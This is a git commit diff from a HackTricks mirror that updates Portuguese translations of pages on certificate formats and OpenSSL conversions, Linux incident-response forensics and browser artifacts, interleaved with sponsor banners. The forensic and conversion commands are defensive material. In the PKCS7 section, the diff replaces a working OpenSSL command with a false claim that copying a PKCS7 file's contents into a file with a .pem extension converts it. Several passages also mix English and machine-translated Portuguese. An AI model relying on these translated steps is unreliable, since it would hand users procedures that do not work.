mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 23:20:49 +00:00
Translated ['cryptography/certificates.md', 'forensics/basic-forensic-me
This commit is contained in:
parent
a9afd9c9b5
commit
18bd3bc9d8
22 changed files with 765 additions and 705 deletions
|
@ -15,7 +15,7 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -57,18 +57,18 @@ O formato mais comum para certificados de chave pública é definido por [X.509]
|
|||
* **Algoritmo de Assinatura**: O algoritmo usado para assinar o certificado de chave pública.
|
||||
* **Assinatura**: Uma assinatura do corpo do certificado pela chave privada do emissor.
|
||||
* **Extensões x509v3**
|
||||
* **Uso da Chave**: Os usos criptográficos válidos da chave pública do certificado. Valores comuns incluem validação de assinatura digital, cifragem de chave e assinatura de certificado.
|
||||
* Em um certificado da Web, isso aparecerá como uma _extensão X509v3_ e terá o valor `Digital Signature`
|
||||
* **Uso da Chave**: Os usos criptográficos válidos da chave pública do certificado. Valores comuns incluem validação de assinatura digital, criptografia de chave e assinatura de certificado.
|
||||
* Em um certificado da Web, isso aparecerá como uma _extensão X509v3_ e terá o valor `Assinatura Digital`
|
||||
* **Uso Estendido da Chave**: As aplicações em que o certificado pode ser usado. Valores comuns incluem autenticação de servidor TLS, proteção de e-mail e assinatura de código.
|
||||
* Em um certificado da Web, isso aparecerá como uma _extensão X509v3_ e terá o valor `TLS Web Server Authentication`
|
||||
* Em um certificado da Web, isso aparecerá como uma _extensão X509v3_ e terá o valor `Autenticação de Servidor Web TLS`
|
||||
* **Nome Alternativo do Sujeito:** Permite que os usuários especifiquem nomes adicionais de host para um único **certificado** SSL. O uso da extensão SAN é uma prática padrão para certificados SSL e está substituindo o uso do **nome** comum.
|
||||
* **Restrição Básica:** Essa extensão descreve se o certificado é um certificado de CA ou um certificado de entidade final. Um certificado de CA é algo que assina certificados de outras pessoas e um certificado de entidade final é o certificado usado em uma página da web, por exemplo (a última parte da cadeia).
|
||||
* **Identificador da Chave do Sujeito** (SKI): Essa extensão declara um **identificador** único para a **chave** pública no certificado. É necessário em todos os certificados de CA. As CAs propagam seu próprio SKI para a extensão Identificador de Chave do Emissor (AKI) nos certificados emitidos. É o hash da chave pública do sujeito.
|
||||
* **Identificador de Chave de Autoridade**: Contém um identificador de chave derivado da chave pública no certificado do emissor. É o hash da chave pública do emissor.
|
||||
* **Identificador da Chave de Autoridade**: Contém um identificador de chave derivado da chave pública no certificado do emissor. É o hash da chave pública do emissor.
|
||||
* **Acesso à Informação da Autoridade** (AIA): Esta extensão contém no máximo dois tipos de informações:
|
||||
* Informações sobre **como obter o emissor deste certificado** (método de acesso ao emissor CA)
|
||||
* Informações sobre **como obter o emissor deste certificado** (método de acesso ao emissor da CA)
|
||||
* Endereço do **responder OCSP de onde a revogação deste certificado** pode ser verificada (método de acesso OCSP).
|
||||
* **Pontos de Distribuição de CRL**: Esta extensão identifica a localização da CRL da qual a revogação deste certificado pode ser verificada. A aplicação que processa o certificado pode obter a localização da CRL desta extensão, baixar a CRL e então verificar a revogação deste certificado.
|
||||
* **Pontos de Distribuição de CRL**: Esta extensão identifica a localização da CRL a partir da qual a revogação deste certificado pode ser verificada. A aplicação que processa o certificado pode obter a localização da CRL a partir desta extensão, baixar a CRL e então verificar a revogação deste certificado.
|
||||
* **CT Precertificate SCTs**: Logs de Transparência de Certificado referentes ao certificado
|
||||
|
||||
### Diferença entre OCSP e Pontos de Distribuição de CRL
|
||||
|
@ -82,7 +82,7 @@ De [aqui](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Co
|
|||
A Transparência de Certificado tem como objetivo remediar ameaças baseadas em certificados, tornando a emissão e a existência de certificados SSL abertas à análise dos proprietários de domínios, CAs e usuários de domínios. Especificamente, a Transparência de Certificado tem três objetivos principais:
|
||||
|
||||
* Tornar impossível (ou pelo menos muito difícil) para uma CA **emitir um certificado SSL para um domínio sem que o proprietário** desse domínio **possa visualizar** o certificado.
|
||||
* Fornecer um sistema de auditoria e monitoramento aberto que permita a qualquer proprietário de domínio ou CA determinar se certificados foram emitidos erroneamente ou maliciosamente.
|
||||
* Fornecer um **sistema de auditoria e monitoramento aberto** que permita a qualquer proprietário de domínio ou CA determinar se certificados foram emitidos erroneamente ou maliciosamente.
|
||||
* **Proteger os usuários** (o máximo possível) de serem enganados por certificados emitidos erroneamente ou maliciosamente.
|
||||
|
||||
#### **Logs de Certificado**
|
||||
|
@ -139,17 +139,19 @@ openssl x509 -in certificate.pem -outform der -out certificate.der
|
|||
|
||||
Replace `certificate.pem` with the path to your PEM certificate file, and `certificate.der` with the desired output file name for the DER format.
|
||||
|
||||
This command will read the PEM certificate file and convert it to DER format, saving the output to the specified file.
|
||||
This command will read the PEM certificate file and convert it to DER format, saving the result in the specified output file.
|
||||
|
||||
It's important to note that PEM and DER are two different formats for representing certificates. PEM is a base64-encoded format that includes header and footer lines, while DER is a binary format. Converting a certificate from PEM to DER can be useful in certain scenarios, such as when working with systems that require DER-encoded certificates.
|
||||
Note that PEM and DER are both commonly used formats for representing X.509 certificates, but they have different encoding rules. PEM is base64-encoded and includes header and footer lines, while DER is a binary format.
|
||||
|
||||
By converting a PEM certificate to DER format, you can ensure compatibility with systems or applications that require DER-encoded certificates.
|
||||
```
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
**Converter DER para PEM**
|
||||
|
||||
Para converter um certificado no formato DER para o formato PEM, você pode usar a ferramenta OpenSSL. O formato PEM é um formato de arquivo base64 codificado que é amplamente suportado por várias aplicações.
|
||||
Para converter um certificado no formato DER para o formato PEM, você pode usar a ferramenta OpenSSL. O formato PEM é um formato de arquivo base64 codificado que é amplamente suportado.
|
||||
|
||||
Aqui está o comando para converter um certificado DER para PEM usando o OpenSSL:
|
||||
Aqui está o comando para converter um certificado DER para PEM:
|
||||
|
||||
```bash
|
||||
openssl x509 -inform der -in certificado.der -out certificado.pem
|
||||
|
@ -157,7 +159,7 @@ openssl x509 -inform der -in certificado.der -out certificado.pem
|
|||
|
||||
Certifique-se de substituir "certificado.der" pelo nome do arquivo DER que você deseja converter e "certificado.pem" pelo nome do arquivo PEM de saída desejado.
|
||||
|
||||
Depois de executar o comando, o certificado DER será convertido para o formato PEM e salvo no arquivo especificado. Agora você pode usar o certificado PEM em suas aplicações que suportam esse formato.
|
||||
Depois de executar o comando, você terá um arquivo PEM convertido que pode ser facilmente lido e usado em várias aplicações.
|
||||
```
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
|
@ -167,24 +169,17 @@ openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
|||
```
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
To convert a PKCS7 file to PEM format, you can use the OpenSSL command-line tool. The PKCS7 file contains certificates and/or CRLs (Certificate Revocation Lists) in a binary format, while the PEM format is a base64-encoded ASCII representation of the same data.
|
||||
**Converter PKCS7 para PEM**
|
||||
|
||||
Here's the command to convert a PKCS7 file to PEM:
|
||||
Para converter um arquivo PKCS7 para o formato PEM, você pode seguir os seguintes passos:
|
||||
|
||||
```plaintext
|
||||
openssl pkcs7 -inform der -in input.p7b -out output.pem -print_certs
|
||||
```
|
||||
1. Abra o arquivo PKCS7 em um editor de texto.
|
||||
2. Copie todo o conteúdo do arquivo PKCS7.
|
||||
3. Abra um novo arquivo em branco em um editor de texto.
|
||||
4. Cole o conteúdo copiado no novo arquivo.
|
||||
5. Salve o novo arquivo com a extensão ".pem".
|
||||
|
||||
Replace `input.p7b` with the path to your PKCS7 file, and `output.pem` with the desired name for the PEM file.
|
||||
|
||||
This command uses the `pkcs7` command of OpenSSL, with the following options:
|
||||
|
||||
- `-inform der`: Specifies that the input file is in DER format (binary).
|
||||
- `-in input.p7b`: Specifies the input PKCS7 file.
|
||||
- `-out output.pem`: Specifies the output PEM file.
|
||||
- `-print_certs`: Prints the certificates in the PKCS7 file.
|
||||
|
||||
After running the command, you will have a PEM file containing the certificates extracted from the PKCS7 file.
|
||||
Agora você tem um arquivo PEM que contém o mesmo conteúdo do arquivo PKCS7 original.
|
||||
```
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
|
@ -210,7 +205,7 @@ Para converter um arquivo PEM para PKCS8, você pode usar a ferramenta OpenSSL.
|
|||
1. Abra o terminal ou prompt de comando.
|
||||
2. Execute o seguinte comando para converter o arquivo PEM para PKCS8:
|
||||
|
||||
```
|
||||
```shell
|
||||
openssl pkcs8 -topk8 -inform PEM -outform DER -in chave_privada.pem -out chave_privada.pkcs8 -nocrypt
|
||||
```
|
||||
|
||||
|
@ -234,7 +229,9 @@ openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
|||
Para converter um arquivo de certificado CER e uma chave privada em um arquivo PFX, você pode usar a ferramenta OpenSSL. Siga as etapas abaixo:
|
||||
|
||||
1. Certifique-se de ter o OpenSSL instalado em seu sistema.
|
||||
|
||||
2. Abra o terminal ou prompt de comando e navegue até o diretório onde estão localizados o arquivo CER e a chave privada.
|
||||
|
||||
3. Execute o seguinte comando para converter o arquivo CER e a chave privada em um arquivo PFX:
|
||||
|
||||
```
|
||||
|
@ -243,16 +240,18 @@ openssl pkcs12 -export -out certificado.pfx -inkey chave_privada.key -in certifi
|
|||
|
||||
Certifique-se de substituir "chave_privada.key" pelo nome do arquivo da chave privada e "certificado.cer" pelo nome do arquivo CER.
|
||||
|
||||
4. Durante o processo de conversão, você será solicitado a definir uma senha para proteger o arquivo PFX. Digite uma senha segura e lembre-se dela.
|
||||
4. Durante o processo de conversão, você será solicitado a definir uma senha para proteger o arquivo PFX. Digite uma senha segura e lembre-se dela, pois você precisará dela para acessar o arquivo PFX posteriormente.
|
||||
|
||||
Após a conclusão do processo, você terá um arquivo PFX que contém o certificado e a chave privada. Esse arquivo pode ser usado em várias plataformas e aplicativos que suportam o formato PFX para autenticação e criptografia.
|
||||
5. Após a conclusão do processo, um novo arquivo chamado "certificado.pfx" será criado no diretório atual. Esse arquivo contém o certificado e a chave privada convertidos em formato PFX.
|
||||
|
||||
Agora você pode usar o arquivo PFX para várias finalidades, como importá-lo em um servidor web ou usá-lo para autenticação em um sistema.
|
||||
```
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -261,7 +260,7 @@ Acesse hoje mesmo:
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
|
|
@ -85,7 +85,7 @@ LiME também pode ser usado para **enviar o dump via rede** em vez de armazená-
|
|||
Antes de tudo, você precisará **desligar o sistema**. Isso nem sempre é uma opção, pois às vezes o sistema será um servidor de produção que a empresa não pode se dar ao luxo de desligar.\
|
||||
Existem **2 maneiras** de desligar o sistema, um **desligamento normal** e um **desligamento abrupto**. O primeiro permitirá que os **processos terminem normalmente** e que o **sistema de arquivos** seja **sincronizado**, mas também permitirá que o possível **malware** **destrua evidências**. A abordagem de "desligamento abrupto" pode causar **alguma perda de informações** (não muitas informações serão perdidas, pois já fizemos uma imagem da memória) e o **malware não terá oportunidade** de fazer nada a respeito. Portanto, se você **suspeitar** que possa haver um **malware**, execute o **comando `sync`** no sistema e desligue abruptamente.
|
||||
|
||||
#### Fazendo uma imagem do disco
|
||||
#### Tirando uma imagem do disco
|
||||
|
||||
É importante observar que, **antes de conectar seu computador a qualquer coisa relacionada ao caso**, você precisa ter certeza de que ele será **montado como somente leitura** para evitar modificar qualquer informação.
|
||||
```bash
|
||||
|
@ -159,11 +159,11 @@ Acesse hoje mesmo:
|
|||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Pesquisar por Malwares conhecidos
|
||||
## Pesquisar por Malware conhecido
|
||||
|
||||
### Arquivos do Sistema Modificados
|
||||
|
||||
Alguns sistemas Linux possuem um recurso para **verificar a integridade de muitos componentes instalados**, fornecendo uma maneira eficaz de identificar arquivos incomuns ou fora do lugar. Por exemplo, o comando `rpm -Va` no Linux é projetado para verificar todos os pacotes que foram instalados usando o RedHat Package Manager.
|
||||
Alguns sistemas Linux possuem um recurso para **verificar a integridade de muitos componentes instalados**, fornecendo uma maneira eficaz de identificar arquivos incomuns ou fora do lugar. Por exemplo, `rpm -Va` no Linux é projetado para verificar todos os pacotes que foram instalados usando o RedHat Package Manager.
|
||||
```bash
|
||||
#RedHat
|
||||
rpm -Va
|
||||
|
@ -253,7 +253,7 @@ Em sistemas Linux, os módulos do kernel são comumente usados como componentes
|
|||
|
||||
### Outros Locais de Inicialização Automática
|
||||
|
||||
Existem vários arquivos de configuração que o Linux usa para iniciar automaticamente um executável quando um usuário faz login no sistema, e esses arquivos podem conter vestígios de malwares.
|
||||
Existem vários arquivos de configuração que o Linux usa para iniciar automaticamente um executável quando um usuário faz login no sistema, que podem conter vestígios de malwares.
|
||||
|
||||
* _**/etc/profile.d/\***_, _**/etc/profile**_, _**/etc/bash.bashrc**_ são executados quando qualquer conta de usuário faz login.
|
||||
* _**∼/.bashrc**_, _**∼/.bash\_profile**_, _**\~/.profile**_, _**∼/.config/autostart**_ são executados quando o usuário específico faz login.
|
||||
|
@ -261,11 +261,11 @@ Existem vários arquivos de configuração que o Linux usa para iniciar automati
|
|||
|
||||
## Examinar Logs
|
||||
|
||||
Verifique todos os arquivos de log disponíveis no sistema comprometido em busca de vestígios de execução maliciosa e atividades associadas, como a criação de um novo serviço.
|
||||
Procure em todos os arquivos de log disponíveis no sistema comprometido por vestígios de execução maliciosa e atividades associadas, como a criação de um novo serviço.
|
||||
|
||||
### Logs Puros
|
||||
|
||||
Eventos de **login** registrados nos logs do sistema e de segurança, incluindo logins via rede, podem revelar que um **malware** ou um **intruso ganhou acesso** a um sistema comprometido por meio de uma determinada conta em um horário específico. Outros eventos em torno do momento de uma infecção por malware podem ser capturados nos logs do sistema, incluindo a **criação** de um **novo** **serviço** ou novas contas próximas ao momento de um incidente.\
|
||||
Eventos de **login** registrados nos logs do sistema e de segurança, incluindo logins via rede, podem revelar que um **malware** ou um **intruso ganhou acesso** a um sistema comprometido por meio de uma determinada conta em um horário específico. Outros eventos em torno do momento de uma infecção por malware podem ser capturados nos logs do sistema, incluindo a **criação** de um **novo** **serviço** ou novas contas em torno do momento de um incidente.\
|
||||
Logins do sistema interessantes:
|
||||
|
||||
* **/var/log/syslog** (debian) ou **/var/log/messages** (Redhat)
|
||||
|
@ -278,10 +278,10 @@ Logins do sistema interessantes:
|
|||
* **/var/log/kern.log**: mantém logs e informações de aviso do Kernel. Logs de atividade do Kernel (por exemplo, dmesg, kern.log, klog) podem mostrar que um determinado serviço travou repetidamente, indicando potencialmente que uma versão trojanizada instável foi instalada.
|
||||
* **/var/log/dmesg**: um repositório para mensagens do driver do dispositivo. Use **dmesg** para ver as mensagens neste arquivo.
|
||||
* **/var/log/faillog**: registra informações sobre logins falhados. Portanto, útil para examinar possíveis violações de segurança, como invasões de credenciais de login e ataques de força bruta.
|
||||
* **/var/log/cron**: mantém um registro de mensagens relacionadas ao Crond (trabalhos cron). Por exemplo, quando o daemon cron iniciou um trabalho.
|
||||
* **/var/log/daemon.log**: acompanha serviços em execução em segundo plano, mas não os representa graficamente.
|
||||
* **/var/log/cron**: mantém um registro de mensagens relacionadas ao Crond (trabalhos cron). Como quando o daemon cron iniciou um trabalho.
|
||||
* **/var/log/daemon.log**: acompanha os serviços em execução em segundo plano, mas não os representa graficamente.
|
||||
* **/var/log/btmp**: registra todas as tentativas de login falhadas.
|
||||
* **/var/log/httpd/**: um diretório que contém os arquivos error\_log e access\_log do daemon Apache httpd. Todos os erros encontrados pelo httpd são registrados no arquivo **error\_log**. Pense em problemas de memória e outros erros relacionados ao sistema. **access\_log** registra todas as solicitações recebidas via HTTP.
|
||||
* **/var/log/httpd/**: um diretório que contém os arquivos error\_log e access\_log do daemon Apache httpd. Todos os erros encontrados pelo httpd são mantidos no arquivo **error\_log**. Pense em problemas de memória e outros erros relacionados ao sistema. **access\_log** registra todas as solicitações recebidas via HTTP.
|
||||
* **/var/log/mysqld.log** ou **/var/log/mysql.log**: arquivo de log do MySQL que registra todas as mensagens de depuração, falhas e sucessos, incluindo o início, parada e reinício do daemon mysqld do MySQL. O sistema decide o diretório. Sistemas baseados em RedHat, CentOS, Fedora e outros sistemas baseados em RedHat usam /var/log/mariadb/mariadb.log. No entanto, o Debian/Ubuntu usa o diretório /var/log/mysql/error.log.
|
||||
* **/var/log/xferlog**: mantém sessões de transferência de arquivos FTP. Inclui informações como nomes de arquivos e transferências FTP iniciadas pelo usuário.
|
||||
* **/var/log/\***: você sempre deve verificar logs inesperados neste diretório
|
||||
|
@ -343,7 +343,7 @@ Mais exemplos e informações estão disponíveis no GitHub: [https://github.com
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e automatizar facilmente fluxos de trabalho com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -354,7 +354,7 @@ Examine os arquivos _**/etc/passwd**_, _**/etc/shadow**_ e os logs de segurança
|
|||
Além disso, verifique arquivos como _**/etc/sudoers**_ e _**/etc/groups**_ em busca de privilégios inesperados concedidos aos usuários.\
|
||||
Por fim, procure por contas sem senhas ou com senhas facilmente adivinháveis.
|
||||
|
||||
## Examinar o Sistema de Arquivos
|
||||
## Examinar Sistema de Arquivos
|
||||
|
||||
As estruturas de dados do sistema de arquivos podem fornecer quantidades substanciais de **informações** relacionadas a um incidente de **malware**, incluindo o **momento** dos eventos e o **conteúdo** real do **malware**.\
|
||||
O **malware** está sendo cada vez mais projetado para **dificultar a análise do sistema de arquivos**. Alguns malwares alteram os carimbos de data e hora em arquivos maliciosos para torná-los mais difíceis de serem encontrados com a análise de linha do tempo. Outros códigos maliciosos são projetados para armazenar apenas determinadas informações na memória, a fim de minimizar a quantidade de dados armazenados no sistema de arquivos.\
|
||||
|
@ -367,8 +367,8 @@ Para lidar com essas técnicas antiforenses, é necessário prestar **atenção
|
|||
* Cópias setuid de /bin/bash no sistema `find / -user root -perm -04000 –print`
|
||||
* Analise os carimbos de data e hora dos **inodes excluídos para um grande número de arquivos excluídos ao mesmo tempo**, o que pode indicar atividade maliciosa, como a instalação de um rootkit ou serviço trojanizado.
|
||||
* Como os inodes são alocados com base no próximo disponível, **arquivos maliciosos colocados no sistema aproximadamente ao mesmo tempo podem receber inodes consecutivos**. Portanto, depois de localizar um componente de malware, pode ser produtivo inspecionar os inodes vizinhos.
|
||||
* Também verifique diretórios como _/bin_ ou _/sbin_, pois a **hora de modificação e/ou alteração** de novos arquivos ou arquivos modificados pode ser interessante.
|
||||
* É interessante ver os arquivos e pastas de um diretório **ordenados por data de criação** em vez de alfabeticamente para ver quais arquivos ou pastas são mais recentes (geralmente os últimos).
|
||||
* Também verifique diretórios como _/bin_ ou _/sbin_, pois a **data de modificação e/ou alteração** de novos arquivos ou arquivos modificados pode ser interessante.
|
||||
* É interessante ver os arquivos e pastas de um diretório **ordenados por data de criação** em vez de alfabeticamente para ver quais arquivos ou pastas são mais recentes (os últimos geralmente).
|
||||
|
||||
Você pode verificar os arquivos mais recentes de uma pasta usando `ls -laR --sort=time /bin`\
|
||||
Você pode verificar os inodes dos arquivos dentro de uma pasta usando `ls -lai /bin |sort -n`
|
||||
|
@ -393,11 +393,11 @@ Existem várias maneiras de encontrar arquivos modificados em um sistema Linux.
|
|||
|
||||
2. Verificação de timestamps: Verifique os timestamps dos arquivos para identificar aqueles que foram modificados recentemente. Os timestamps mais comumente usados são o timestamp de acesso (atime), o timestamp de modificação (mtime) e o timestamp de alteração (ctime).
|
||||
|
||||
3. Análise de logs: Analise os logs do sistema em busca de atividades suspeitas. Os logs podem fornecer informações sobre quais arquivos foram acessados ou modificados.
|
||||
3. Análise de logs: Analise os logs do sistema em busca de atividades suspeitas. Os logs podem conter informações sobre arquivos modificados ou acessados recentemente.
|
||||
|
||||
4. Verificação de assinaturas digitais: Verifique as assinaturas digitais dos arquivos para garantir que não tenham sido modificados. As assinaturas digitais são usadas para verificar a integridade e autenticidade dos arquivos.
|
||||
4. Monitoramento de diretórios: Configure um monitoramento em tempo real de diretórios específicos para detectar qualquer modificação. Isso pode ser feito usando ferramentas como o inotify ou o auditd.
|
||||
|
||||
Ao usar essas técnicas, é importante lembrar que os invasores podem tentar ocultar suas atividades, modificando os logs ou os timestamps dos arquivos. Portanto, é necessário realizar uma análise mais aprofundada para identificar qualquer atividade suspeita.
|
||||
Ao encontrar arquivos modificados, é importante fazer uma análise mais aprofundada para determinar a natureza das modificações e se elas representam uma ameaça à segurança do sistema.
|
||||
```bash
|
||||
git diff --no-index --diff-filter=M _openwrt1.extracted/squashfs-root/ _openwrt2.extracted/squashfs-root/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||
```
|
||||
|
@ -442,7 +442,7 @@ Observe que nem todas as diferenças podem apresentar todos os tipos. Por exempl
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenha o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
@ -455,7 +455,7 @@ Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, usando as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje mesmo:
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||||
Obtenha acesso hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
@ -15,18 +15,18 @@
|
|||
<figure><img src="/.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.io/) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||||
Acesse hoje:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Artefatos do Navegador <a href="#3def" id="3def"></a>
|
||||
## Artefatos dos Navegadores <a href="#3def" id="3def"></a>
|
||||
|
||||
Quando falamos sobre artefatos do navegador, estamos nos referindo ao histórico de navegação, favoritos, lista de arquivos baixados, dados em cache, etc.
|
||||
Quando falamos sobre artefatos dos navegadores, estamos nos referindo ao histórico de navegação, favoritos, lista de arquivos baixados, dados em cache, etc.
|
||||
|
||||
Esses artefatos são arquivos armazenados em pastas específicas no sistema operacional.
|
||||
|
||||
Cada navegador armazena seus arquivos em um local diferente dos outros navegadores e todos eles têm nomes diferentes, mas geralmente armazenam o mesmo tipo de dados (artefatos).
|
||||
Cada navegador armazena seus arquivos em um local diferente dos outros navegadores e todos eles têm nomes diferentes, mas armazenam (na maioria das vezes) o mesmo tipo de dados (artefatos).
|
||||
|
||||
Vamos dar uma olhada nos artefatos mais comuns armazenados pelos navegadores.
|
||||
|
||||
|
